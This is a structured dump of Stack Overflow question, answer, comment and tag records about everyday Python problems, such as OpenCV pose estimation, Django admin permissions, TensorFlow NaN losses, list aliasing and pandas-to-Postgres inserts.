has body: As far as I know solve pnp algorithm (almost all of the pose estimation algorithm - or at least all cv.solepnp flags) suppose to produce a different answer in every run because of the idea of estimation in the first place. I'm trying to check the avarage/median error in multiple runs, but unfortunatly every time I get the same results. I'm using solvePnp function with OpenCV in Python, and this is the command: (success, rotation_vector, translation_vector) = cv2.solvePnP(realPoints, twoDimPoints, cam_matrix, dist_coeffs,flags=cv2.*, useExtrinsicGuess=False\True) What a I doing wrong? or am I wrong about my approach?
upvote count: 1
tagged with: opencv
tagged with: pose-estimation
score: 1
has comment: http://stackoverflow.com/comment/81122626
tagged with: python
favorite count: 0
type: Question

http://stackoverflow.com/q/47014942
has answer: http://stackoverflow.com/a/47015283
downvote count: 0
has title: Python script to remove lines found between 2 concrete strings
tagged with: python
has comment: http://stackoverflow.com/comment/80976165
has body: I have put together a script which reads a text file as below, *NODE 100000,1144.,-447.2639,339.0315 100001,1144.,-454.7716,342.956 100003,1144.,-448.2677,343.6241 100004,1144.,-454.8527,338.5432 *ELEMENT, TYPE=C3D6 228888,103103,103111,106773,186164,186165,196339 228889,103111,103232,106773,186165,186184,196339 228890,106773,106911,106912,196339,196457,196453 and writes only 228888,103103,103111,106773,186164,186165,196339 228889,103111,103232,106773,186165,186184,196339 228890,106773,106911,106912,196339,196457,196453 but I actually want it to write *ELEMENT, TYPE=C3D6 228888,103103,103111,106773,186164,186165,196339 228889,103111,103232,106773,186165,186184,196339 228890,106773,106911,106912,196339,196457,196453 below is the code that I wrote, with open('shell.txt', 'r') as oldfile, open('new_shell.txt', 'w') as newfile: for line in oldfile: if writing: if "*NODE" in line: writing = False else: newfile.write(line) elif "*ELEMENT" in line: writing = True newfile.write
type: AnsweredQuestion
score: 3
has answer: http://stackoverflow.com/a/47015075
has comment: http://stackoverflow.com/comment/80976370
has comment: http://stackoverflow.com/comment/80976290
possible better answer: http://stackoverflow.com/a/47015075
favorite count: 0
type: Question
answer count: 2
accepted answer: http://stackoverflow.com/a/47015283
upvote count: 3

http://stackoverflow.com/q/47019485
tagged with: django
tagged with: python
answer count: 0
score: 3
has comment: http://stackoverflow.com/comment/80985992
upvote count: 3
has comment: http://stackoverflow.com/comment/80987846
favorite count: 0
type: Question
has body: In my application, based on Django 1.9, I have a custom implementation of the user admin model and I would like to allow more than Staff users to delete users. I need to handle this permission programmatically. So I've overridden has_delete_permission to allow to anyone to delete a user: def has_delete_permission(self, request, obj=None): return True But the admin always says this: Deleting the user 'usertest@gmail.com' would result in deleting related objects, but your account doesn't have permission to delete the following types of objects: - user How do I solve this?
tagged with: django-admin
type: UnansweredQuestion
has title: Django admin custom user model delete permission
has comment: http://stackoverflow.com/comment/81008636
downvote count: 0
has comment: http://stackoverflow.com/comment/80985913

http://stackoverflow.com/a/46912894
type: Answer
upvote count: 2
accepted answer of: http://stackoverflow.com/q/46912803
type: AcceptedAnswer
downvote count: 0
score: 2
answers question: http://stackoverflow.com/q/46912803
has body: You are missing that x[2:4] gets all values where the index is 2 &lt;= index &lt; 4. Therefore, you get index 2 and 3, but not 4. This is done so that you can always tell the size of a partial list (not just in python but in computing in general) by subtracting the upper bound by the lower bound. 4 - 2 = 2, therefore the list has two items in it. There is an interesting piece of writing by E.W. Dijkstra about this if you care to read it here.

http://stackoverflow.com/comment/80919355
score: 0
has text: for better solution read about list comprehensions in Python: `lis2 = [int(s) for s in lis]`
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/46986111

http://stackoverflow.com/comment/80926132
score: 0
has text: @sascha please see my edit.
type: QuestionComment
comment on: http://stackoverflow.com/q/46988517
type: Comment

http://stackoverflow.com/comment/81374295
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47056923
has text: @ReinaldoChaves you have to insert the path to the file. Not to the folder that contains the file. For example: /phantomjs-2.1.1-macosx/bin/phantomjs

http://stackoverflow.com/comment/81001690
comment on: http://stackoverflow.com/q/47027254
score: 0
has text: @JacobIRR which version of python you are using?
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46945287
has answer: http://stackoverflow.com/a/46945381
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/240178
tagged with: python
has body: i am trying to make a nested list using append function, but the last value will recover pervious values, anyone can tell me why, and how to do it correctly. thanks d= [] temp = [0,0,0] for i in range(4): temp[0] = i+1 d.append(temp) the output shows: [[4, 0, 0], [4, 0, 0], [4, 0, 0], [4, 0, 0]] but the output that i want is [[1, 0, 0], [2, 0, 0], [3, 0, 0], [4, 0, 0]]
duplicate of: http://stackoverflow.com/q/240178
has answer: http://stackoverflow.com/a/46945306
duplicate of: http://stackoverflow.com/q/6360286
score: 0
has title: value covers pervious value using append() in python
answer count: 2
linked to: http://stackoverflow.com/q/6360286
type: Question

http://stackoverflow.com/comment/80878353
score: 3
type: Comment
has text: @Adam the simplest (minimal change to your code) fix is to change `%g` to `%s`. That's all that's really needed. The change to `format` is an independent stylistic change to a different string formatting technique that has some advantages over `%` formatting. But for your purposes, the results should be identical.
type: AnswerComment
comment on: http://stackoverflow.com/a/46965266

http://stackoverflow.com/q/47021022
has comment: http://stackoverflow.com/comment/80989399
has comment: http://stackoverflow.com/comment/80988974
has comment: http://stackoverflow.com/comment/80989056
has comment: http://stackoverflow.com/comment/80989148
has comment: http://stackoverflow.com/comment/80989115
tagged with: machine-learning
tagged with: tensorflow
has comment: http://stackoverflow.com/comment/80988990
score: 0
has title: TensorFlow loss returns NaN
downvote count: 1
tagged with: python
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80993215
has body: I'm trying to write my first simple neural net with my own data based on various tutorials and information. I'm stuck at the point where I think I prepared the model and I'm trying to run it, but when I want to find out the cost function changes in every epochs, it returns NaN. My code is: import pandas as pd import numpy as np import matplotlib.pyplot as plt import tensorflow as tf df = pd.read_excel("mydataset.xlsx") # Preparing the dataset, doing some stuff here df2 = df.dropna(subset=['wl']) df2 = df2.sample(frac=1) df2_X = df2'param1','param2','param3','param4','param5','param6','param7' df2_y = df2'numerical_result_param' # Spliting the dataset... train_X, test_X, train_y, test_y = df2_X[:210], df2_X[210:], df2_y[:210], df2_y[210:] # Creating model: X = tf.placeholder("float", shape=[None, train_X.shape[1]]) y = tf.placeholder("float", shape=[None, train_y.shape[1]]) hl_size = 256 # Number of neurons in hidden layer weights = { 'hl': tf.Variable(tf.random_normal([train_X.shape[1], hl_size])), 'out': tf.Variable(tf.random_normal([hl_size, train_y.shape[1]])) } biases = { 'hl': tf.Variable(tf.random_normal([hl_size])), 'out': tf.Variable(tf.random_normal([train_y.shape[1]])) } def multilayer_perceptron(x): hl_layer = tf.add(tf.matmul(x, weights['hl']), biases['hl']) hl_layer = tf.nn.relu(hl_layer) out_layer = tf.matmul(hl_layer, weights['out']) + biases['out'] return out_layer logits = multilayer_perceptron(X) hm_epochs = 100 # Number of epochs cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(labels=y, logits=logits)) optimizer = tf.train.AdamOptimizer(0.01).minimize(cost) # Training optimizer # Running the session with tf.Session() as sess: init = tf.global_variables_initializer() sess.run(init) for epoch in range(hm_epochs): epoch_loss = 0 _, c = sess.run([optimizer, cost], feed_dict={X: train_X, y: train_y}) epoch_loss += c print('Epoch',epoch,'out of',hm_epochs,'loss:',epoch_loss) And it returns: Epoch 0 out of 100 loss: nan Epoch 1 out …
answer count: 0
tagged with: deep-learning
linked to: http://stackoverflow.com/q/12525722
type: UnansweredQuestion
upvote count: 1

http://stackoverflow.com/q/46994348
tagged with: python
linked to: http://stackoverflow.com/q/46866327
tagged with: dictionary
has answer: http://stackoverflow.com/a/46994455
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80935476
answer count: 1
accepted answer: http://stackoverflow.com/a/46994455
tagged with: nested
has comment: http://stackoverflow.com/comment/80935329
favorite count: 0
tagged with: parsing
type: Question
has title: Python recursive function called too many times
upvote count: 2
has body: This is a follow-up to this question: Python parse text file into nested dictionaries I initially accepted the answer which suggested to format the input with regexes, but after looking closer at the input, there are still some problems that I cannot can process with the proposed regexes. So I am back at recursively parsing the lines into a dictionary. What I have so far is: def parseToDictionary(input): key = '' value = '' result = {} if input[0].startswith('{'): # remove { del input[0] result.clear() # clear the dict for each recursion for idx, line in enumerate(input): line = line.rstrip() # remove trailing returns if line.startswith('['): key = line value = parseToDictionary(input[idx+1:]) # parse the next level elif line.startswith('}'): # reached the end of a block return result else: elements = line.split('\t') key = elements[0] if len(elements) &gt; 1: value = elements[1] else: value = 'Not defined' # some keys may not have a value, so set a generic value here if key: result[key] = value return result Here is an example (very simplified!) input: [HEADER1] { key1 value key2 long value, with a comma [HEADER2] { key 1234 emptykey } } The output is: '[HEADER2]': { 'emptykey': 'Not defined', 'key': '1234' }, 'key2': 'long value, with a comma', 'key1': 'value', '[HEADER1]': { 'emptykey': 'Not defined', 'key2': 'long value, with a comma', 'key1': 'value', 'key': '1234', '[HEADER2]': { 'emptykey': 'Not defined', 'key': '1234' } }, 'emptykey': 'Not defined', 'key': '1234' } But it should be: '[HEADER1]': { 'key1': 'value', 'key2': 'long value, with a comma', '[HEADER2]': { 'emptykey': 'Not defined', 'key': '1234' } } So each line that starts with an [ is the key for the next block. Inside each blocks are multiple key-value pairs, and there could also be another nested level. What goes wrong is that some blocks are parsed multiple times, and I cannot figure out where it goes wrong. The input parameter is mydatafile.split('\n') Who can help me out?
downvote count: 0

http://stackoverflow.com/comment/80883376
type: Comment
has text: How would I do that if it is an on the spot thing
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/46946157

tcp
tags question: http://stackoverflow.com/q/46926097
type: Tag
tags question: http://stackoverflow.com/q/46964007
tags question: http://stackoverflow.com/q/46992453
tags question: http://stackoverflow.com/q/46942162
tags question: http://stackoverflow.com/q/46961472
tag name: tcp
tags question: http://stackoverflow.com/q/46996649

http://stackoverflow.com/comment/81228403
comment on: http://stackoverflow.com/a/47046545
score: 0
type: Comment
type: AnswerComment
has text: Thank you. I'm novice regarding Python, still had some issues but your solution finally worked.

range
tags question: http://stackoverflow.com/q/46986585
tags question: http://stackoverflow.com/q/46958314
type: Tag
tags question: http://stackoverflow.com/q/46937928
tags question: http://stackoverflow.com/q/47024334
tags question: http://stackoverflow.com/q/46998259
tags question: http://stackoverflow.com/q/46955479
tags question: http://stackoverflow.com/q/47025509
tags question: http://stackoverflow.com/q/46929472
tags question: http://stackoverflow.com/q/47047588
tag name: range

http://stackoverflow.com/q/47051808
has title: Python dictionary not filling properly in for loop
has answer: http://stackoverflow.com/a/47052223
has comment: http://stackoverflow.com/comment/81050587
tagged with: http://stackoverflow.com/tag/json
answer count: 1
has body: I am currently making some test data for my browser-based javascript database. I scraped some data off of a web-site and filled a python list with it. Now i am trying to populate a dictionary, add some other random data and make a json file. My variables: cpartyList: a list of tuples. Every tuple consist of 4 strings: Number1(unique), Number2, fullname, address; cpartyDict: a python dictionary for later serialization to json file; cpartyList consists of 40 tuples. Now, populating my dictionary with data: for org in cpartyList: #just to make shure that a tuple is 4 units and Number1 is unique if len(org) == 4 and org[0] not in cpartyDict.keys(): cpartyDict[org[0]] = { "Number1": org[0], "Number2": org[1], "shortname": "", "fullname": org[2], "contacts": { "adressOfficial": org[3], "adressPostal": org[3], "phone": ''.join([str(random.randint(0,9)) for i in range(11)]) } } print(cpartyDict,keys()) But in return i only get 2 last tuples in my dictionary (cpartyDict.keys() has two keys in it). What is wrong?
has comment: http://stackoverflow.com/comment/81051007
favorite count: 0
type: Question
upvote count: 0
accepted answer: http://stackoverflow.com/a/47052223
has comment: http://stackoverflow.com/comment/81050835
score: -2
tagged with: python
has comment: http://stackoverflow.com/comment/81051067
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81050801
has comment: http://stackoverflow.com/comment/81051298
has comment: http://stackoverflow.com/comment/81052695
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81050850
downvote count: 2

http://stackoverflow.com/q/47015782
tagged with: sql
score: 0
has answer: http://stackoverflow.com/a/47016234
answer count: 1
linked to: http://stackoverflow.com/q/41895227
has title: python 3 sql into with pandas and sqlalchemy
tagged with: sqlalchemy
type: Question
has body: I have a pandas DataFrame,df, that I want to append to a remote table TabB on a postgres db. Both tables shares the same columns. How can I perform this using pandas and sql alchemy? My sqlalchemy engine is defined as this: myengine=create_engine('postgresql://postgres:postgres@xxx.xx.xxx.xxx:5433/mydb') I would like to know if I can apply a method like df.read_sql() to pass a proper INSERT TO. Any example would be greatly appreciated. Thanks in advance!
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/41895227
tagged with: python
tagged with: insert-into
tagged with: pandas

http://stackoverflow.com/a/47001646
type: Answer
has body: This problem actually has nothing to do with template tags. You've defined get_item_with_topic_id as an instance method, which takes self as its first argument. But you're calling it directly on the Comment class, so there is no instance involved and self is not passed - so Python thinks that you are passing the value of topic_id in the place of self and not passing topic_id at all. You could fix this by declaring this as a classmethod and putting cls instead of self, but you shouldn't do that; custom query methods like this belong on the Manager, not the model. So: class CommentManager(models.Manager): def get_item_with_topic_id(self, topic_id): comments = self.get(id=topic_id) return comments class Comment(models.Model): ... objects = CommentManager() and now your template tag can call Comment.objects.get_item_with_topic_id. (As an aside, are you sure that query is right? Should it not be .get(topic_id=topic_id)?)
score: 0
has comment: http://stackoverflow.com/comment/80950507
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47000515
answers question: http://stackoverflow.com/q/47000515

http://stackoverflow.com/a/47040579
has body: This is a bad question, so I'll only give you a jumping off point. dict1={"1":"2" , "2":"4", "4": "3"} def list_maker(dictionary, key, list): if key not in dictionary: return [key] + list[:-1] else: return list_maker(dictionary, dictionary[key], [key] + list) print(list_maker(dict1, "1", [])) See what that gives you and work from there
type: Answer
accepted answer of: http://stackoverflow.com/q/47040005
score: 0
has comment: http://stackoverflow.com/comment/81062294
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81061851
answers question: http://stackoverflow.com/q/47040005

http://stackoverflow.com/comment/128032453
score: 0
type: Comment
has text: so much time wasted - thank you!:)
type: AnswerComment
comment on: http://stackoverflow.com/a/47060982

http://stackoverflow.com/a/47001236
type: Answer
score: 0
has body: To uninstall tensorflow just use this command: pip3 uninstall tensorflow TensorFlow with Python3.6 It should work because ticket https://github.com/tensorflow/tensorflow/issues/6533 is closed. You just need to install tensorflow once again and it should work under python3.6: pip3 install tensorflow If not use the following instructions: "Downgrade" to python3.5 You can't just change python version, because some libraries can be incompatible with python3.5. You should save current libraries versions in file using this command: pip3 freeze &gt; ./requirements.txt Python3.5 installation If you have only python3.6 and want to install python3.5 easily you can use pyenv (https://github.com/pyenv/pyenv) and create virtualenv with python3.5 using instructions from pyenv tutorial. Installing libraries from python3.6 Make sure that your virtualenv with python3.5 is activated. You should have name of this virtualenv visible in bash prompt. Make sure that your python version is 3.5 using this command: python --version After that you can install libraries from your python3.6 using this command: pip3 install -r &lt;path to requirements.txt file&gt; If installation fails: If installation fails for some packages, just edit requirements.txt by removing version from this file. For example if version 2.0 of some_package does't work under python3.5 then change line from requirements.txt: some_package==2.0 to: some_package save changes and run once again pip3 install -r &lt;path to requirements.txt file&gt;
has comment: http://stackoverflow.com/comment/80949710
has comment: http://stackoverflow.com/comment/80949587
accepted answer of: http://stackoverflow.com/q/47000992
answers question: http://stackoverflow.com/q/47000992
type: AcceptedAnswer

http://stackoverflow.com/a/47062919
has body: The struct class keeps a cache of items for faster access. The only way to clear the struct cache is to call the struct._clearcache() method. An example of this being used can be found here. Warning! This is a _ method and could change at any time. See here for and explanation of these types of methods. There is a discussion about this 'memory leak' on the python forums here and here.
upvote count: 4
type: AcceptedAnswer
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/81120652
score: 4
accepted answer of: http://stackoverflow.com/q/47062726
has comment: http://stackoverflow.com/comment/81105666
answers question: http://stackoverflow.com/q/47062726
has comment: http://stackoverflow.com/comment/81120736

http://stackoverflow.com/comment/80860701
type: Comment
score: 2
has text: http://pythoncentral.io/pythons-range-function-explained/ here for further reading
comment on: http://stackoverflow.com/q/46956645
type: QuestionComment

http://stackoverflow.com/comment/80914545
comment on: http://stackoverflow.com/q/46983424
score: 0
type: Comment
has text: obe is a example. the dimensions are flexible -> (i,j) * (i,j) = (i,j)
type: QuestionComment

http://stackoverflow.com/a/47064701
has body: See this question for more info on del pop and remove Difference between del, remove and pop on lists If you do not want to use the dictionary you are removing, I would use del, as below: d = {'user': [{'firstName': 'john', 'lastName': 'doe', 'movieList': []}, {'firstName': 'sarah', 'lastName': 'doe', 'movieList': []}, {'firstName': 'john', 'lastName': 'smith', 'movieList': []}, {'firstName': 'sarah', 'lastName': 'smith', 'movieList': []}], 'movie': []} del d['user'][0] This [0] is deleting the first index of the list stored as the value of the 'user' key If you are repeatedly deleting the first index of your list and your list is long, consider using a deque() instead, which has fast pops from either end: https://docs.python.org/3/library/collections.html#collections.deque Also, don't call your variables the same name as their types, aka don't call your dictionary variable dict
type: Answer
score: 0
answers question: http://stackoverflow.com/q/47064582

http://stackoverflow.com/comment/80816879
type: Comment
score: 0
has text: Need more detail on what `part`, `destroy`, `Manager` etc are. How many `parts` are there?
type: QuestionComment
comment on: http://stackoverflow.com/q/46934716

http://stackoverflow.com/comment/80876958
comment on: http://stackoverflow.com/q/46964308
type: Comment
type: QuestionComment
has text: @wim - It is going to be 88877
score: 0

http://stackoverflow.com/comment/80827163
score: 0
has text: Oh, I'm under the impression that `len` counts the list each time it's called, so each time this condition is called, it'd count two lists that might be millions of elements in length. I very well could be wrong and the list itself could store the count and `len` just returns that count
comment on: http://stackoverflow.com/q/46939998
type: Comment
type: QuestionComment

http://stackoverflow.com/q/46936893
has body: I have a 1D numpy array and I need to create a new numpy array with the amax results (better the argmax result) of every 'n' positions of the array. Let me try an example: Consider I have a 1D numpy array with values from 1 to 5. I want to have a new numpy array with the amax, or argmax, of each 3 positions in the original numpy array. original numpy array and range of amax action: | 1 | 2 | 3 | 4 | 5 | ------| 5 |-- 3 |-------| 4 |-------| 5 |-------| --| 5 |----- My new numpy array, considering the amax of each 3 positions will be ([5, 3, 4, 5, 5]). Can anyone think of a way to doing that just using numpy? I was able to do it using a 'for', but I don't think that is the best option. Here is a snippet of what I did using 'for': for i in range(array-1): best = np.argmax([array[i-1], array[i], array[i+1,2]]) best_array[i] = array[i+best-1]
linked to: http://stackoverflow.com/q/43288542
type: Question
tagged with: numpy
has title: Maximum (amax) into a numpy range
linked to: http://stackoverflow.com/q/40084931
type: UnansweredQuestion
tagged with: arrays
has comment: http://stackoverflow.com/comment/80822271
tagged with: python
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/80822735
has comment: http://stackoverflow.com/comment/80821124

http://stackoverflow.com/q/47043626
type: UnansweredQuestion
tagged with: python
tagged with: bubble-sort
has comment: http://stackoverflow.com/comment/81034627
tagged with: list-comprehension
has answer: http://stackoverflow.com/a/47044478
tagged with: list
has title: Python bubblesort with list comprehension
answer count: 2
upvote count: 2
score: 1
has comment: http://stackoverflow.com/comment/81034771
downvote count: 1
has comment: http://stackoverflow.com/comment/81034788
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47043997
has body: I am new in Python and I am trying to implement an algorithm with bubblesort but using list comprenhension. Although I have used list comprenhension using if and for, I could not figure out a way to implement a nested for, as well as the swap for the sorting. Below is the code I have tried to use. import random as rn l=[] N=int(input('Give an integer: ')) for i in range(N): l.append(rn.randint(1,100)) print(l) listset = [l[:k-1] + [l[k]] + [l[k-1]] + l[k+1:] if l[k] &gt; l[k-1] else l for k in range(1,len(l)) ] print(listset) Do you have any suggestions on how to use correctly list comprehension in order to implement the bubblesort algorithm? Thanks in advance.

http://stackoverflow.com/q/46911542
has body: I just did a fresh install of Julia 0.5.2 and Python 3.6.3 :: Anaconda, Inc. through Anaconda. When using PyPlot in a jupyter notebook (with julia kernel), I get the following: InitError: PyError (:PyImport_ImportModule The Python package matplotlib.pyplot could not be found by pyimport. Usually this means that you did not install matplotlib.pyplot in the Python version being used by PyCall. PyCall is currently configured to use the Python version at: /home/riccardo/anaconda3/bin/python and you should use whatever mechanism you usually use (apt-get, pip, conda, etcetera) to install the Python package containing the matplotlib.pyplot module. One alternative is to re-configure PyCall to use a different Python version on your system: set ENV["PYTHON"] to the path/name of the python executable you want to use, run Pkg.build("PyCall"), and re-launch Julia. Another alternative is to configure PyCall to use a Julia-specific Python distribution via the Conda.jl package (which installs a private Anaconda Python distribution), which has the advantage that packages can be installed and kept up-to-date via Julia. As explained in the PyCall documentation, set ENV["PYTHON"]="", run Pkg.build("PyCall"), and re-launch Julia. Then, To install the matplotlib.pyplot module, you can use `pyimport_conda("matplotlib.pyplot", PKG)`, where PKG is the Anaconda package the contains the module matplotlib.pyplot, or alternatively you can use the Conda package directly (via `using Conda` followed by `Conda.add` etcetera). ) &lt;class 'ImportError'&gt; ImportError("/lib/x86_64-linux-gnu/libz.so.1: version `ZLIB_1.2.9' not found (required by /home/riccardo/anaconda3/lib/python3.6/site-packages/matplotlib/../../.././libpng16.so.16)",) File "/home/riccardo/anaconda3/lib/python3.6/site-packages/matplotlib/pyplot.py", line 29, in &lt;module&gt; import matplotlib.colorbar File "/home/riccardo/anaconda3/lib/python3.6/site-packages/matplotlib/colorbar.py", line 36, in &lt;module&gt; import matplotlib.co…
upvote count: 1
has comment: http://stackoverflow.com/comment/80781975
tagged with: julia
favorite count: 0
has comment: http://stackoverflow.com/comment/80809089
type: Question
has comment: http://stackoverflow.com/comment/80802256
tagged with: matplotlib
tagged with: python
has comment: http://stackoverflow.com/comment/80770695
has comment: http://stackoverflow.com/comment/80773361
has comment: http://stackoverflow.com/comment/80809161
has comment: http://stackoverflow.com/comment/80803340
has comment: http://stackoverflow.com/comment/80803325
has comment: http://stackoverflow.com/comment/80814688
tagged with: jupyter-notebook
answer count: 0
has comment: http://stackoverflow.com/comment/80807190
has title: using PyPlot crash Julia
type: UnansweredQuestion
score: 1
downvote count: 0

http://stackoverflow.com/q/47027782
tagged with: django
tagged with: python
score: 3
has answer: http://stackoverflow.com/a/47027825
upvote count: 3
has title: Django: login link to appear only when a user is logged in
has body: I am making an app in django in which i have used the django built in authentication system. Both login and logout links are present in the navbar. I want to make the logout link appear only when the user has logged in and not at all times. How do i do that? code snippet of project/urls.py: urlpatterns = [ url(r'^login/$', views.login, {'template_name': 'login.html', 'authentication_form': LoginForm}, name='login'), url(r'^logout/$', views.logout, {'next_page': '/home'}), ] code snippet of login.html; {% if form.errors %} Your username and password didn't match. Please try again. {% endif %} {% if next %} {% if user.is_authenticated %} Your account doesn't have access to this page. To proceed, please login with an account that has access. {% else %} Please login to see this page. {% endif %} {% endif %} {% csrf_token %} Login Form {{ form.username.label_tag }} {{ form.username }} {{ form.password.label_tag }} {{ form.password }} Forgot password? code snippet of base.html(only the navbar is shown): Home About Sign up Doctor's login Patient's login FAQs Contact us Reviews Logout Thanks for your help in advance.
favorite count: 0
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/47028332
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/comment/80926067
type: Comment
type: QuestionComment
score: 2
comment on: http://stackoverflow.com/q/46989804
has text: What did you imagine *would* end the loop?

http://stackoverflow.com/comment/80778398
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46911925
has text: cursorRect () does not do that, ie your second case, from what I understand you want the coordinate (x, y) of the initial and final letter of the selection. Am I correct?
score: 0

http://stackoverflow.com/q/46927517
tagged with: uwsgi
type: Question
type: UnansweredQuestion
tagged with: multithreading
has answer: http://stackoverflow.com/a/47568008
score: 0
tagged with: server
has title: uwsgi application stops with error when running it with multi thread
answer count: 1
has body: I am running a uwsgi application on my linux mint. it has does work with a database and shows it on my localhost. i run it on 127.0.0.1 IP and 8080 port. after that i want to test its performance by ab(apache benchmark). when i run the app by command uwsgi --socket 0.0.0.0:8080 --protocol=http -w wsgi and get test of it, it works correctly but slowly. so i want to run the app with more than one thread to speed up. so i use --threads option and command is uwsgi --socket 0.0.0.0:8080 --protocol=http -w wsgi --threads 8 for example. but when i run ab to test it, after 2 or 3 request, my application stops with some errors and i don't know how to fix it. every time i run it, type of errors are different. some of errors are like these: (Traceback (most recent call last): 2014, 'Command Out of Sync') or (Traceback (most recent call last): File "./wsgi.py", line 13, in application return show_description(id) File "./wsgi.py", line 53, in show_description cursor.execute("select * from info where id = %s;" %id) File "/home/mohammadhossein/myFirstApp/myappenv/local/lib/python2.7/site-packages/pymysql/cursors.py", line 166, in execute result = self._query(query) File "/home/mohammadhossein/myFirstApp/myappenv/local/lib/python2.7/site-packages/pymysql/cursors.py", line 322, in _query conn.query(q) File "/home/mohammadhossein/myFirstApp/myappenv/local/lib/python2.7/site-packages/pymysql/connections.py", line 856, in query self._affected_rows = self._read_query_result(unbuffered=unbuffered) 'Packet sequence number wrong - got 1 expected 2',) File "/home/mohammadhossein/myFirstApp/myappenv/local/lib/python2.7/site-packages/pymysql/connections.py", line 1057, in _read_query_result or ('Packet sequence number wrong - got 1 expected 2',) Traceback (most recent call last): or ('Packet sequence number wrong - got 1 expected 2',) Traceback (most recent call last): File "./wsgi.py", line 13, in application return show_description(id) File "./wsgi.py", line 52, in show_description cursor.e…
tagged with: python

http://stackoverflow.com/q/47056634
has body: I am trying to sort out a problem of incompatible shapes. I have 4 features, and if I understand .shape correctly, the shape of x should be (n_samples, n_features). But how can I correct that? Here is the line where the error is occuring: plot_surface(est, X_train[:, 0], X_train[:, 1], ax=ax, threshold=0.5, contourf=True) Here is info for each variable: est: KNeighborsClassifier(algorithm='auto', leaf_size=30, metric='minkowski', metric_params=None, n_jobs=1, n_neighbors=1, p=2, weights='uniform') X_train: [[-1. -1. -1. -1. -1. -1. -1. -1. -1. -1.] [ 1. 1. 1. 1. 1. 1. 1. 1. 1. 1.]] And here is the full stack trace: Traceback (most recent call last): File "C:\Program Files (x86)\JetBrains\PyCharm Community Edition 2016.3.2\helpers\pydev\pydevd.py", line 1596, in &lt;module&gt; globals = debugger.run(setup['file'], None, None, is_module) File "C:\Program Files (x86)\JetBrains\PyCharm Community Edition 2016.3.2\helpers\pydev\pydevd.py", line 974, in run pydev_imports.execfile(file, globals, locals) # execute the script File "C:\Program Files (x86)\JetBrains\PyCharm Community Edition 2016.3.2\helpers\pydev\_pydev_imps\_pydev_execfile.py", line 18, in execfile exec(compile(contents+"\n", file, 'exec'), glob, loc) File "C:/Users/Thomas/Desktop/!UFV/CIS480/project/NHL-Predictor.py", line 229, in &lt;module&gt; plot_datasets(est) File "C:/Users/Thomas/Desktop/!UFV/CIS480/project/NHL-Predictor.py", line 195, in plot_datasets plot_surface(est, X_train[:, 0], X_train[:, 1], ax=ax, threshold=0.5, contourf=True) File "C:/Users/Thomas/Desktop/!UFV/CIS480/project/NHL-Predictor.py", line 153, in plot_surface pred = est.predict_proba(X_pred)[:, 1] File "C:\Users\Thomas\Anaconda3\lib\site-packages\sklearn\neighbors\classification.py", line 190, in predict_proba neigh_dist, neigh_ind = self.kneighbors(X) File "C:\Users\Thomas\Anaconda3\lib\site-packages\sklearn\neighbors\base.py", line 353, in kneighbors n_jobs=n_jobs, squared=True) File "C:\Users\Thomas\Anaconda3\lib\site-packages\sk…
upvote count: 1
score: 1
tagged with: scipy
has comment: http://stackoverflow.com/comment/118347489
favorite count: 0
tagged with: knn
type: Question
answer count: 0
has title: Python Scikit-learn: ValueError: Incompatible dimension for X and Y matrices:
downvote count: 0
tagged with: python
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81060649
has comment: http://stackoverflow.com/comment/81061487
has comment: http://stackoverflow.com/comment/81061136

http://stackoverflow.com/q/46985312
answer count: 0
score: 0
has title: How do you use exe python package installer with Anaconda?
type: Question
has comment: http://stackoverflow.com/comment/80917949
has comment: http://stackoverflow.com/comment/81062132
tagged with: anaconda
type: UnansweredQuestion
tagged with: python
has body: I have a .exe installer for a python package that I want to use on one of my Anaconda environments. When I click on the .exe the installer want me to "Select python installation to use" and the python installation for my Anaconda environment doesn't appear. I tried messing around with PATH variables and it didn't work.
tagged with: python-2.7

http://stackoverflow.com/comment/81024572
has text: @SandeepLade But it's probably what the OP really needs. *Yours* on the other hand is neither what the OP asked for *nor* what they need.
comment on: http://stackoverflow.com/a/47038899
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47055820
answer count: 1
has title: google sheets api select non-adjacent cells
type: Question
tagged with: google-sheets-api
score: 0
has answer: http://stackoverflow.com/a/47064621
has comment: http://stackoverflow.com/comment/81543767
tagged with: python
tagged with: google-sheets
has body: What would be the range for selecting multiple non-adjacent cells? I am trying to update cells that are non-adjacent from a sheet (A2 and A5). I know how to update contiguous cells: 'SheetName'!A2:5, but how can I update only cell 2 and 5. I am using python: sheetRange = str("'Telegram'!A2:5") value_range = [['a'],['False'],['True']] value_range = { "values": value_range, } request = self.service.spreadsheets().values().update(spreadsheetId=self.spreadsheetid, range=sheetRange, valueInputOption="RAW", body=value_range ) response = self.requestExecute(request) return response
type: UnansweredQuestion

http://stackoverflow.com/comment/80822860
type: QuestionComment
has text: Hi everyone please someone should kindly help me out with my question above
comment on: http://stackoverflow.com/q/46918393
score: 0
type: Comment

http://stackoverflow.com/comment/80784385
type: Comment
has text: You should experiment with writing a loop that runs N times and puts the results in an array, then loop over that array to count how many match.
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46918483

http://stackoverflow.com/comment/80975395
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47014500
has text: Yes but it create an extra Comma ,, which create problem for me Can we totally eliminate specific word
type: Comment

http://stackoverflow.com/q/46909654
has answer: http://stackoverflow.com/a/46910597
type: AnsweredQuestion
score: 1
